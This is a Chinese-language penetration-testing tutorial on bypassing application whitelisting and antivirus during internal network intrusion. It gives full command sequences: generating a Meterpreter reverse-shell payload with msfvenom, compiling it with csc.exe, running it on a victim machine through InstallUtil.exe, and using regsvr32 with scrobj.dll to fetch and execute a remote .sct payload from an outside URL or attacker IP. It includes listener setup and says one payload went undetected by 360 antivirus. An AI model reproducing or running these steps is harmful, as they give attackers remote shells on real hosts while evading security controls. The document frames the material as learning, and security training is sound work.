绕过应用程序白名单技巧

匿名 (未验证) 提交于 2019-12-03 00:22:01

在内网渗透中,经常会在内网主机执行执行的渗透工具的时候出现执行不起来的情况,很多时候是由与安全软件做了白名单限制,只允许指定的白名单中的应用程序启动,这时我们就需要利用白名单中的程序做我们想做的事情,执行我们想要执行的程序,下面就给大家分享几个绕过白名单执行应用程序的姿势。

一、通过 csharp 编译文件绕过防病毒软件

1、下载 CSharp 文件

wget http://tinyurl.com/InstallUtil-ShellCode-cs


2、使用 msfvenom 生成一个 msf 的 csharp 格式的 shellcode:

msfvenom-p windows / meterpreter / reverse_tcp lhost = YOUR_IP lport = 443 -fcsharp> shellcode.txt


3、在 InstallUtil-ShellCode.cs 文件中,您将注意到代码中有两个功能

先从 main 函数的执行命令行中写入显示提示信息,当使用 InstallUtil.exe 工具运行程序时,将执行名为 Uninstall 函数(橙色框中的代码)的中代码的功能。

installUtil.exe 通常位于受信任的应用程序列表中,可能会绕过某些应用程序白名单软件。

Uninstall 函数中的代码将调用 Shellcode 函数,这是我们的嵌套恶意绕过防病毒的 shellcode 代码。



4、下面是需要替换的 shellcode 代码位置


5、在 geeeratewith metasploit 下面将 msf 生成的 shllcode.txt 的代码复制替换


6、需要修改其中的代码,将 buf 变量修改成 shellcode 并保存文件


7、使用 csc.exe 工具编译修改后的 InstallUtil-ShellCode-cs 文件

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:exeshell.exe  InstallUtil-ShellCode.cs


8、在 msf 下生成监听 shell:

use multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 10.0.0.86

set LPORT 444

set ExitOnSession false

run -j


9、在目标受害者机器上通过 InstallUtil.exe 工具执行我们编译的后门文件 exeshell.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe/logfile= /LogToConsole=false /U exeshell.exe


10、在 kali 下可以看到成功获得目标主机的 shell:

此时通过 360 进行查杀未发现有病毒:



二、通过 sct 远程执行绕过防病毒

1、远程执行的 sct ( payload.sct ) 文件代码如下:


2、在目标受害者机器上远程执行:

这里前提需要将 pentestab.exe 文件上传到目标主机 C 盘下或者其他位置,其他位置需要更改 payload.sct 代码:

regsvr32/u /n /s /i: https://raw.githubusercontent.com/backlion/demo/master/payload.sct scrobj.dll


也可以本地执行:

regsvr32/u /n /s /i:payload.sct scrobj.dll


3、由于 pentestlab3 是 Metasploit 的有效载荷,所以 Meterpreter 会话将被打开:



三、msf 下生成模块生成 sct 绕过防病毒

1、在 msf 上生成 sct 监听反弹 shell

msf>useexploit/windows/misc/regsvr32_applocker_bypass_server

msf>show  options

msf>setlhost 10.0.0.86

msf>set  lport 6666



2、在目标受害者主机上执行以下命令:

regsvr32/s /n /u /i:http://10.0.0.86:8080/q0Nqdxa4iKkeNXB.sct scrobj.dll


3、在 msf 即可看到反弹 shell:



总结

这里的几种方式都是用来应对防病毒软件采用软件白名单的方式拒绝恶意软件的执行,通过一些默认放行的白名单系统应用程序启动我们构造好的恶意程序或者 payload 来绕过防病毒软件的白名单限制,这里只讨论技术的学习,请不要用来做违法的事情,欢迎大家投稿一起分享在渗透测试中应用的各种姿势,各种技术的安全原理等。

转载请标明出处:绕过应用程序白名单技巧
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!